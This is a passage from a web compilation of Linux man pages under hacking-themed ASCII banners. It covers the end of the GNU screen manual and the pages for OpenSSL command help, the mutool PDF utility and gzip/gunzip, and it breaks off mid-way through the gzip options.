Send Cursor Position Report

INPUT TRANSLATION

In order to do a full VT100 emulation screen has to detect that a sequence of characters in the input stream was generated by a keypress on the user’s keyboard and insert the VT100 style escape sequence. Screen has a very flexible way of doing this by making it possible to map arbitrary commands on arbitrary sequences of characters. For standard VT100 emulation the command will always insert a string in the input buffer of the window (see also command stuff in the command table). Because the sequences generated by a keypress can change after a reattach from a different terminal type, it is possible to bind commands to the termcap name of the keys. Screen will insert the correct binding after each reattach. See the bindkey command for further details on the syntax and examples.

Here is the table of the default key bindings. The fourth is what command is executed if the keyboard is switched into application mode.

Key nameTermcap nameCommandApp mode
Cursor upkuOA
Cursor downkdOB
Cursor rightkrOC
Cursor leftklOD
Function key 0k0[10~
Function key 1k1OP
Function key 2k2OQ
Function key 3k3OR
Function key 4k4OS
Function key 5k5[15~
Function key 6k6[17~
Function key 7k7[18~
Function key 8k8[19~
Function key 9k9[20~
Function key 10k;[21~
Function key 11F1[23~
Function key 12F2[24~
Homekh[1~
EndkH[4~
InsertkI[2~
DeletekD[3~
Page upkP[5~
Page downkN[6~
Keypad 0f00Op
Keypad 1f11Oq
Keypad 2f22Or
Keypad 3f33Os
Keypad 4f44Ot
Keypad 5f55Ou
Keypad 6f66Ov
Keypad 7f77Ow
Keypad 8f88Ox
Keypad 9f99Oy
Keypad +f++Ok
Keypad -f--Om
Keypad *f**Oj
Keypad /f//Oo
Keypad =fq=OX
Keypad .f..On
Keypad ,f,,Ol
Keypad enterfeOM

SPECIAL TERMINAL CAPABILITIES

The following table describes all terminal capabilities that are recognized by screen and are not in the termcap(5) manual. You can place these capabilities in your termcap entries (in `/etc/termcap’) or use them with the commands `termcap’, `terminfo’ and `termcapinfo’ in your screenrc files. It is often not possible to place these capabilities in the terminfo database.

LP* (bool)*
Terminal has VT100 style margins (`magic margins’). Note that this capability is obsolete because screen uses the standard ‘xn’ instead.

Z0* (str)*
Change width to 132 columns.

Z1* (str)*
Change width to 80 columns.

WS* (str)*
Resize display. This capability has the desired width and height as arguments. SunView(tm) example: ‘[8;%d;%dt’.

NF* (bool)*
Terminal doesn’t need flow control. Send ^S and ^Q direct to the application. Same as ‘flow off’. The opposite of this capability is ’nx’.

G0* (bool)*
Terminal can deal with ISO 2022 font selection sequences.

S0* (str)*
Switch charset ‘G0’ to the specified charset. Default is ‘(%.’.

E0* (str)*
Switch charset ‘G0’ back to standard charset. Default is ‘(B’.

C0* (str)*
Use the string as a conversion table for font ‘0’. See the ‘ac’ capability for more details.

CS* (str)*
Switch cursor-keys to application mode.

CE* (str)*
Switch cursor-keys back to normal mode.

AN* (bool)*
Turn on autonuke. See the ‘autonuke’ command for more details.

OL* (num)*
Set the output buffer limit. See the ‘obuflimit’ command for more details.

KJ* (str)*
Set the encoding of the terminal. See the ’encoding’ command for valid encodings.

AF* (str)*
Change character foreground color in an ANSI conform way. This capability will almost always be set to ‘[3%dm’ (‘[3%p1%dm’ on terminfo machines).

AB* (str)*
Same as ‘AF’, but change background color.

AX* (bool)*
Does understand ANSI set default fg/bg color ( / ).

XC* (str)*
Describe a translation of characters to strings depending on the current font. More details follow in the next section.

XT* (bool)*
Terminal understands special xterm sequences (OSC, mouse tracking).

C8* (bool)*
Terminal needs bold to display high-intensity colors (e.g. Eterm).

TF* (bool)*
Add missing capabilities to the termcap/info entry. (Set by default).

CHARACTER TRANSLATION

Screen has a powerful mechanism to translate characters to arbitrary strings depending on the current font and terminal type. Use this feature if you want to work with a common standard character set (say ISO8851-latin1) even on terminals that scatter the more unusual characters over several national language font pages.

Syntax:

    XC=<charset-mapping>{,,<charset-mapping>}
    <charset-mapping> := <designator><template>{,<mapping>}
    <mapping> := <char-to-be-mapped><template-arg>

The things in braces may be repeated any number of times.

A <charset-mapping> tells screen how to map characters in font <designator> (‘B’: Ascii, ‘A’: UK, ‘K’: German, etc.) to strings. Every <mapping> describes to what string a single character will be translated. A template mechanism is used, as most of the time the codes have a lot in common (for example strings to switch to and from another charset). Each occurrence of ‘%’ in <template> gets substituted with the <template-arg> specified together with the character. If your strings are not similar at all, then use ‘%’ as a template and place the full string in <template-arg>. A quoting mechanism was added to make it possible to use a real ‘%’. The ‘\ character quotes the special characters ‘, ‘%’, and ‘,’.

Here is an example:

termcap hp700 ‘XC=B(K%(B,\304[,\326\,\334]’

This tells screen how to translate ISOlatin1 (charset ‘B’) upper case umlaut characters on a hp700 terminal that has a German charset. ‘\304’ gets translated to ‘(K[(B’ and so on. Note that this line gets parsed *three* times before the internal lookup table is built, therefore a lot of quoting is needed to create a single ‘.

Another extension was added to allow more emulation: If a mapping translates the unquoted ‘%’ char, it will be sent to the terminal whenever screen switches to the corresponding <designator>. In this special case the template is assumed to be just ‘%’ because the charset switch sequence and the character mappings normally haven’t much in common.

This example shows one use of the extension:

termcap xterm ‘XC=K%,%(B,[\304,\\326,]\334’

Here, a part of the German (‘K’) charset is emulated on an xterm. If screen has to change to the ‘K’ charset, ‘(B’ will be sent to the terminal, i.e. the ASCII charset is used instead. The template is just ‘%’, so the mapping is straightforward: ‘[’ to ‘\304’, ‘\ to ‘\326’, and ‘]’ to ‘\334’.

ENVIRONMENT

COLUMNS
Number of columns on the terminal (overrides termcap entry).

HOME
Directory in which to look for .screenrc.

LINES
Number of lines on the terminal (overrides termcap entry).

LOCKPRG
Screen lock program.

NETHACKOPTIONS
Turns on nethack option.

PATH
Used for locating programs to run.

SCREENCAP
For customizing a terminal’s TERMCAP value.

SCREENDIR
Alternate socket directory.

SCREENRC
Alternate user screenrc file.

SHELL
Default shell program for opening windows (default /bin/sh). See also shell .screenrc command.

STY
Alternate socket name.

SYSSCREENRC
Alternate system screenrc file.

TERM
Terminal name.

TERMCAP
Terminal description.

WINDOW
Window number of a window (at creation time).

FILES

…/screen-4.?.??/etc/screenrc

…/screen-4.?.??/etc/etcscreenrc
Examples in the screen distribution package for private and global initialization files.

$SYSSCREENRC

/etc/screenrc
screen initialization commands

$SCREENRC

$HOME/.screenrc
Read in after /etc/screenrc

$SCREENDIR/S-<login>

/run/screen/S-<login>
Socket directories (default)

/usr/tmp/screens/S-<login>
Alternate socket directories.

<socket directory>/.termcap
Written by the “termcap” output function

/usr/tmp/screens/screen-exchange
or

/tmp/screen-exchange
screen `interprocess communication buffer’

hardcopy.[0-9]
Screen images created by the hardcopy function

screenlog.[0-9]
Output log files created by the log function

/usr/lib/terminfo/?/*
or

/etc/termcap
Terminal capability databases

/run/utmp
Login records

$LOCKPRG
Program that locks a terminal.

AUTHORS

Originally created by Oliver Laumann. For a long time maintained and developed by Juergen Weigert, Michael Schroeder, Micah Cowan and Sadrul Habib Chowdhury. Since 2015 maintained and developed by Amadeusz Slawinski <[email protected]> and Alexander Naumov <[email protected]>.

COPYLEFT

Copyright (c) 2018-2023
	Alexander Naumov <[email protected]>
	Amadeusz Slawinski <[email protected]>
Copyright (c) 2015-2017
	Juergen Weigert <[email protected]>
	Alexander Naumov <[email protected]>
	Amadeusz Slawinski <[email protected]>
Copyright (c) 2010-2015
	Juergen Weigert <[email protected]>
	Sadrul Habib Chowdhury <[email protected]>
Copyright (c) 2008, 2009
	Juergen Weigert <[email protected]>
	Michael Schroeder <[email protected]>
	Micah Cowan <[email protected]>
	Sadrul Habib Chowdhury <[email protected]>
Copyright (C) 1993-2003
	Juergen Weigert <[email protected]>
	Michael Schroeder <[email protected]>
Copyright (C) 1987 Oliver Laumann

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program (see the file COPYING); if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA

CONTRIBUTORS

Vincent Lefevre <[email protected]>,
Carl Drougge <[email protected]>,
Maarten ter Huurne <[email protected]>,
Jussi Kukkonen <[email protected]>,
Eric S. Raymond <[email protected]>,
Thomas Renninger <[email protected]>,
Axel Beckert <[email protected]>,
Ken Beal <[email protected]>,
Rudolf Koenig <[email protected]>,
Toerless Eckert <[email protected]>,
Wayne Davison <[email protected]>,
Patrick Wolfe <[email protected], kailand!pat>,
Bart Schaefer <[email protected]>,
Nathan Glasser <[email protected]>,
Larry W. Virden <[email protected]>,
Howard Chu <[email protected]>,
Tim MacKenzie <[email protected]>,
Markku Jarvinen <mta@{cc,cs,ee}.tut.fi>,
Marc Boucher <[email protected]>,
Doug Siebert <[email protected]>,
Ken Stillson <[email protected]>,
Ian Frechett <[email protected]>,
Brian Koehmstedt <[email protected]>,
Don Smith <[email protected]>,
Frank van der Linden <[email protected]>,
Martin Schweikert <[email protected]>,
David Vrona <[email protected]>,
E. Tye McQueen <tye%[email protected]>,
Matthew Green <[email protected]>,
Christopher Williams <[email protected]>,
Matt Mosley <[email protected]>,
Gregory Neil Shapiro <[email protected]>,
Johannes Zellner <[email protected]>,
Pablo Averbuj <[email protected]>.

AVAILABILITY

The latest official release of screen available via anonymous ftp from ftp.gnu.org/gnu/screen/ or any other GNU distribution site. The home page of screen is https://savannah.gnu.org/projects/screen/ and the git repo is https://git.savannah.gnu.org/cgit/screen.git. If you want to help, send a note to [email protected].

BUGS

  • `dm’ (delete mode) and `xs’ are not handled correctly (they are ignored). `xn’ is treated as a magic-margin indicator.

  • Screen has no clue about double-high or double-wide characters. But this is the only area where vttest is allowed to fail.

  • It is not possible to change the environment variable $TERMCAP when reattaching under a different terminal type.

  • The support of terminfo based systems is very limited. Adding extra capabilities to $TERMCAP may not have any effects.

  • Screen does not make use of hardware tabs.

  • Screen must be installed as set-uid with owner root on most systems in order to be able to correctly change the owner of the tty device file for each window. Special permission may also be required to write the file /run/utmp.

  • Entries in /run/utmp are not removed when screen is killed with SIGKILL. This will cause some programs (like “w” or “rwho”) to advertise that a user is logged on who really isn’t.

  • Screen may give a strange warning when your tty has no utmp entry.

  • When the modem line was hung up, screen may not automatically detach (or quit) unless the device driver is configured to send a HANGUP signal. To detach a screen session use the -D or -d command line option.

  • If a password is set, the command line options -d and -D still detach a session without asking.

  • Both breaktype and defbreaktype change the break generating method used by all terminal devices. The first should change a window specific setting, where the latter should change only the default for new windows.

  • When attaching to a multiuser session, the user’s .screenrc file is not sourced. Each user’s personal settings have to be included in the .screenrc file from which the session is booted, or have to be changed manually.

  • A weird imagination is most useful to gain full advantage of all the features.

Send bug-reports, fixes, enhancements, t-shirts, money, beer & pizza to [email protected].

SEE ALSO

termcap(5), utmp(5), vi(1), captoinfo(1), tic(1), tty(4), pty(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1088 - Linux cli command verifyssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command verifyssl and provides detailed information about the command verifyssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the verifyssl.

NAME 🖥️ verifyssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1089 - Linux cli command mutool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mutool and provides detailed information about the command mutool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mutool.

NAME 🖥️ mutool 🖥️

all purpose tool for dealing with PDF files

SYNOPSIS

mutool <sub-command> [options]

DESCRIPTION

mutool is a tool based on MuPDF for dealing with document files in various manners. There are several sub commands available, as described below.

DRAW

mutool draw [options] file [pages]

The draw command will render a document to image files, convert to another vector format, or extract the text content.

The supported input document formats are: pdf, xps, cbz, and epub.

The supported output image formats are: pbm, pgm, ppm, pam, png, pwg, pcl and ps. The supported output vector formats are: svg, pdf, and debug trace (as xml). The supported output text formats are: plain text, html, and structured text (as xml).

-p password
Use the specified password if the file is encrypted.

-o output
The output format is inferred from the output filename. Embed %d in the name to indicate the page number (for example: “page%d.png”). Printf modifiers are supported, for example “%03d”. If no output is specified, the output will go to stdout.

-F format
Enforce a specific output format. Only necessary when outputting to stdout since normally the output filename is used to infer the output format.

-R angle
Rotate clockwise by given number of degrees.

-r resolution
Render the page at the specified resolution. The default resolution is 72 dpi.

-w width
Render the page at the specified width (or, if the -r flag is used, render with a maximum width).

-h height
Render the page at the specified height (or, if the -r flag is used, render with a maximum height).

-f
Fit exactly; ignore the aspect ratio when matching specified width/heights.

-B bandheight
Render in banded mode with each band no taller than the given height. This uses less memory during rendering. Only compatible with pam, pgm, ppm, pnm and png output formats. Banded rendering and md5 checksumming may not be used at the same time.

-W width
Page width in points for EPUB layout.

-H height
Page height in points for EPUB layout.

-S size
Font size in points for EPUB layout.

-U filename
User CSS stylesheet for EPUB layout.

-c colorspace
Render in the specified colorspace. Supported colorspaces are: mono, gray, grayalpha, rgb, rgbalpha, cmyk, cmykalpha. Some abbreviations are allowed: m, g, ga, rgba, cmyka. The default is chosen based on the output format.

-G gamma
Apply gamma correction. Some typical values are 0.7 or 1.4 to thin or darken text rendering.

-I
Invert colors.

-s [mft5]
Show various bits of information: m for glyph cache and total memory usage, f for page features such as whether the page is grayscale or color, t for per page rendering times as well statistics, and 5 for md5 checksums of rendered images that can be used to check if rendering has changed.

-A bits
Specify how many bits of anti-aliasing to use. The default is 8.

-D
Disable use of display lists. May cause slowdowns, but should reduce the amount of memory used.

-i
Ignore errors.

-L
Low memory mode (avoid caching objects by clearing cache after each page).

-P
Run interpretation and rendering at the same time.

pages
Comma separated list of page numbers and ranges (for example: 1,5,10-15,20-N), where the character N denotes the last page. If no pages are specified, then all pages will be rendered.

CLEAN

mutool clean [options] input.pdf [output.pdf] [pages]

The clean command pretty prints and rewrites the syntax of a PDF file. It can be used to repair broken files, expand compressed streams, filter out a range of pages, etc.

If no output file is specified, it will write the cleaned PDF to “out.pdf” in the current directory.

-p password
Use the specified password if the file is encrypted.

-g
Garbage collect objects that have no references from other objects. Give the option twice to also renumber all objects and compact the cross reference table. Give it three times to also merge and reuse duplicate objects. Give it four times to also merge and reuse duplicate streams.

-s
Rewrite content streams.

-d
Decompress streams. This will make the output file larger, but provides easy access for reading and editing the contents with a text editor.

-l
Linearize output. Create a “Web Optimized” output file.

-i
Toggle decompression of image streams. Use in conjunction with -d to leave images compressed.

-f
Toggle decompression of font streams. Use in conjunction with -d to leave fonts compressed.

-a
ASCII Hex encode binary streams. Use in conjunction with -d and -i or -f to ensure that although the images and/or fonts are compressed, the resulting file can still be viewed and edited with a text editor.

-z
Deflate uncompressed streams. If combined with -d, any decompressed streams will be recompressed. If combined with -a, the streams will also be hex encoded after compression.

pages
Comma separated list of page numbers and ranges (for example: 1,5,10-15,20-N), where the character N denotes the last page. If no pages are specified, then all pages will be included.

EXTRACT

mutool extract [options] file.pdf [object numbers]

The extract command can be used to extract images and font files from a PDF. If no object numbers are given on the command line, all images and fonts will be extracted.

-p password
Use the specified password if the file is encrypted.

-r
Convert images to RGB when extracting them.

INFO

mutool info [options] file.pdf [pages]

The info command lists the resources used on each page in a PDF file. The default is to list all resource types, but if one or more flags are given, only the flagged types will be shown.

-p password
Use the specified password if the file is encrypted.

-F
List fonts.

-I
List images.

-M
List page dimensions.

-S
List shadings.

-P
List patterns.

-X
List form and postscript XObjects.

pages
Comma separated list of page numbers and ranges (for example: 1,5,10-15,20-N), where the character N denotes the last page. If no pages are specified, then all pages will be included.

CREATE

mutool create [-o output.pdf] [options] page1.txt [page2.txt …]

The create command creates a new PDF file with the contents created from one or more input files containing graphics commands.

-o output
If no output file is specified, it will write the created PDF to “out.pdf” in the current directory.

page.txt
A page is created for each input file, with the contents of the file copied into the content stream. Special comments in the input files are parsed to define the page dimensions and font and image resources:

%%MediaBox 0 0 500 800
%%Rotate 90
%%Font Tm Times-Roman
%%Font Fn0 path/to/font/file.ttf
%%Image Im0 path/to/image.png

-O
Comma separated list of format specific output options:

decompress
Decompress all object streams.

compress
Compress all object streams.

compress-fonts
Compress object streams for embedded fonts.

compress-images
Compress object streams for images.

ascii
Encode object streams using ASCII hex encoding.

pretty
Pretty-print objects with indentation.

linearize
Optimize document for progressive loading in viewers.

sanitize
Clean up graphics command in content streams.

garbage[=compact|deduplicate]
Garbage collect unused objects. With compact the cross-reference table will also be compacted. With deduplicate duplicate objects will also be recombined.

PAGES

mutool pages [options] input.pdf [pages …]

The pages command dumps information about the size and orientation of pages within the document.

-p password
Use the specified password if the file is encrypted.

pages
Comma separated list of page numbers and ranges (for example: 1,5,10-15,20-N), where the character N denotes the last page. If no pages are specified, then all pages will be included.

POSTER

mutool poster [options] input.pdf [output.pdf]

The poster command splits each page into tiles, and puts each tile on a page of its own. It’s useful for printing a large page onto smaller pieces of paper that can then be glued together to create a large poster.

-p password
Use the specified password if the file is encrypted.

-x factor
Split the page into this many horizontal pieces.

-y factor
Split the page into this many vertical pieces.

The output will have x times y number of pages for each input page.

SHOW

mutool show [options] file.pdf [object numbers …]

The show command will print the specified objects and streams to stdout. Streams are decoded and non-printable characters are represented with a period by default.

-p password
Use the specified password if the file is encrypted.

-o file
Write output to file instead of stdout.

-b
Print streams as binary data and omit the object header.

-e
Print streams in their original encoded (or compressed) form.

Specify objects by number, or use one of the following special names:

‘xref’
Print the cross reference table.

’trailer’
Print the trailer dictionary.

’encrypt’
Print the encryption dictionary.

‘pagetree’
List the object numbers for every page.

‘grep’
Print all the objects in the file in a compact one-line format suitable for piping to grep.

‘outline’
Print the outline (table of contents).

RUN

mutool run script.js [arguments]

Executes a Javascript program which has access to most of the features of the MuPDF library. The command supports ECMAScript 5 syntax in strict mode. All of the MuPDF constructors and function live in the global object, and the command line arguments are accessible from the global argv object.

If invoke without any arguments, it will drop you into an interactive REPL (read-eval-print-loop). On the interactive prompt, if you prefix a line with an equal character it will automatically print the results of the line.

See the MuPDF documentation for details about the Javascript interfaces.

CONVERT

mutool convert [options] file [pages]

The convert command is used to convert a file from one format to another.

-p password
Use the specified password if the file is encrypted.

-A bits
Specify how many bits of anti-aliasing to use. The default is 8.

-W width
Page width in points for EPUB layout.

-H height
Page height in points for EPUB layout.

-S size
Font size in points for EPUB layout.

-U filename
User CSS stylesheet for EPUB layout.

-o output
The output format is inferred from the output filename. Embed %d in the name to indicate the page number (for example: “page%d.png”). Printf modifiers are supported, for example “%03d”. If no output is specified, the output will go to stdout.

-F format
Enforce a specific output format. Only necessary when outputting to stdout since normally the output filename is used to infer the output format.

-O
Comma separated list of format specific output options:

MERGE

mutool merge [options] file1 [pages] file2 [pages] …

The merge command is used to pick out pages from two or more files and merge them in order into a new output file.

-o output
The output filename.

-O
See mutool create for details on this option.

VERSION

mutool -v

Shows the MuPDF version used to build mutool.

SEE ALSO

mupdf(1),

AUTHOR

MuPDF is Copyright 2006-2017 Artifex Software, Inc.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1090 - Linux cli command gunzip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gunzip and provides detailed information about the command gunzip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gunzip.

NAME 🖥️ gunzip 🖥️

compress or expand files

SYNOPSIS

gzip [** -acdfhklLnNrtvV19 ] [-S suffix**] [ name … ]

gunzip [** -acfhklLnNrtvV ] [-S suffix**] [ name … ]
zcat [** -fhLV **] [ name … ]

DESCRIPTION

The gzip command reduces the size of the named files using Lempel-Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension .gz, while keeping the same ownership modes, access and modification times. (The default extension is z for MSDOS, OS/2 FAT, Windows NT FAT and Atari.) If no files are specified, or if a file name is “-”, the standard input is compressed to the standard output. The gzip command will only attempt to compress regular files. In particular, it will ignore symbolic links.

If the compressed file name is too long for its file system, gzip truncates it. The gzip command attempts to truncate only the parts of the file name longer than 3 characters. (A part is delimited by dots.) If the name consists of small parts only, the longest parts are truncated. For example, if file names are limited to 14 characters, gzip.msdos.exe is compressed to gzi.msd.exe.gz. Names are not truncated on systems which do not have a limit on file name length.

By default, gzip keeps the original file name and timestamp in the compressed file. These are used when decompressing the file with the -N option. This is useful when the compressed file name was truncated or when the timestamp was not preserved after a file transfer.

Compressed files can be restored to their original form using gzip -d or gunzip or zcat. If the original name saved in the compressed file is not suitable for its file system, a new name is constructed from the original one to make it legal.

gunzip takes a list of files on its command line and replaces each file whose name ends with .gz, -gz, .z, -z, or _z (ignoring case) and which begins with the correct magic number with an uncompressed file without the original extension. gunzip also recognizes the special extensions .tgz and .taz as shorthands for .tar.gz and .tar.Z respectively. When compressing, gzip uses the .tgz extension if necessary instead of truncating a file with a .tar extension.

gunzip can currently decompress files created by gzip, zip, compress, compress -H or pack. The detection of the input format is automatic. When using the first two formats, gunzip checks a 32 bit CRC. For pack and gunzip checks the uncompressed length. The standard compress format was not designed to allow consistency checks. However gunzip is sometimes able to detect a bad .Z file. If you get an error when uncompressing a .Z file, do not assume that the .Z file is correct simply because the standard uncompress does not complain. This generally means that the standard uncompress does not check its input, and happily generates garbage output. The SCO compress -H format (lzh compression method) does not include a CRC but also allows some consistency checks.

Files created by zip can be uncompressed by gzip only if they have a single member compressed with the ‘deflation’ method. This feature is only intended to help conversion of tar.zip files to the tar.gz format. To extract a zip file with a single member, use a command like ‘gunzip <foo.zip’ or ‘gunzip -S .zip foo.zip’. To extract zip files with several members, use unzip instead of gunzip.

The zcat command is identical to gunzip -c. (On some systems, zcat may be installed as gzcat to preserve the original link to compress.) zcat uncompresses either a list of files on the command line or its standard input and writes the uncompressed data on standard output. zcat will uncompress files that have the correct magic number whether they have a .gz suffix or not.

The gzip command uses the Lempel-Ziv algorithm used in zip and PKZIP. The amount of compression obtained depends on the size of the input and the distribution of common substrings. Typically, text such as source code or English is reduced by 60-70%. Compression is generally much better than that achieved by LZW (as used in compress), Huffman coding (as used in pack), or adaptive Huffman coding (compact).

Compression is always performed, even if the compressed file is slightly larger than the original. The worst case expansion is a few bytes for the gzip file header, plus 5 bytes per 32 KiB block, or an expansion ratio of 0.015% for large files. The actual number of used disk blocks almost never increases.

gzip normally preserves the mode and modification timestamp of a file when compressing or decompressing. If you have appropriate privileges, it also preserves the file’s owner and group.

OPTIONS

-a –ascii
Ascii text mode: convert end-of-lines using local conventions. This option is supported only on some non-Unix systems. For MSDOS, CR LF is converted to LF when compressing, and LF is converted to CR LF when decompressing.

-c –stdout –to-stdout
Write output on standard output; keep original files unchanged. If there are several input files, the output consists of a sequence of independently compressed members. To obtain better compression, concatenate all input files before compressing them.

-d –decompress –uncompress
Decompress.

-f –force
Force compression or decompression even if the file has multiple links or the corresponding file already exists, or if the compressed data is read from or written to a terminal. If the input data is not in a format recognized by gzip, and if the option –stdout is also given, copy the input data without change to the standard output: let zcat behave as cat. If -f is not given, and when not running in the background, gzip prompts to verify whether an existing file should be overwritten.

-h –help
Display a help screen and quit.

-k –keep
Keep (don’t delete) input files during compression or decompression.

-l –list
For each compressed file, list the following fields:

compressed size: size of the compressed file uncompressed size: size of the uncompressed file ratio: compression ratio (0.0% if unknown) uncompressed_name: name of the uncompressed file

The uncompressed size is given as -1 for files not in gzip format, such as compressed .Z files. To get the uncompressed size for such a file, you can use:

zcat file.Z | wc -c

In combination with the –verbose option, the following fields are also displayed:

method: compression method crc: the 32-bit CRC of the uncompressed data date & time: timestamp for the uncompressed file

The compression methods currently supported are deflate, compress, lzh (SCO compress -H) and pack. The crc is given as ffffffff for a file not in gzip format.

With –name, the uncompressed name, date and time are those stored within the compress file if present.

With –verbose, the size totals and compression ratio for all files is also displayed, unless some sizes are unknown. With –quiet, the title and totals lines are not displayed.

-L –license
Display the gzip license and quit.

-n –no-name
When compressing, do not save the original file name and timestamp by default. (The original name is always saved if the name had to be truncated.) When decompressing, do not restore the original file name if present (remove only the gzip suffix from the compressed file name) and do not restore the original timestamp if present (copy it from the compressed file). This option is the default when decompressing.

-N –name
When compressing, always save the original file name, and save the seconds part of the original modification timestamp if the original is a regular file and its timestamp is at least 1 (1970-01-01 00:00:01 UTC) and is less than 2**32 (2106-02-07 06:28:16 UTC, assuming leap seconds are not counted); this is the default. When decompressing, restore from the saved file name and timestamp if present. This option is useful on systems which have a limit on file name length or when the timestamp has been lost after a file transfer.

-q –quiet
Suppress all warnings.

-r –recursive
Travel the directory structure recursively. If any of the file names specified on the command line are directories, gzip will descend into the directory and compress all the files it finds there (or decompress them in the case of gunzip ).

-S .suf –suffix .suf
When compressing, use suffix .suf instead of .gz. Any non-empty suffix can be given, but suffixes other than .z and .gz should be avoided to avoid confusion when files are transferred to other systems.

When decompressing, add .suf to the beginning of the list of suffixes to try, when deriving an output file name from an input file name.

–synchronous
Use synchronous output. With this option, gzip is less likely to lose data during a system crash, but it can be considerably slower.

-t –test
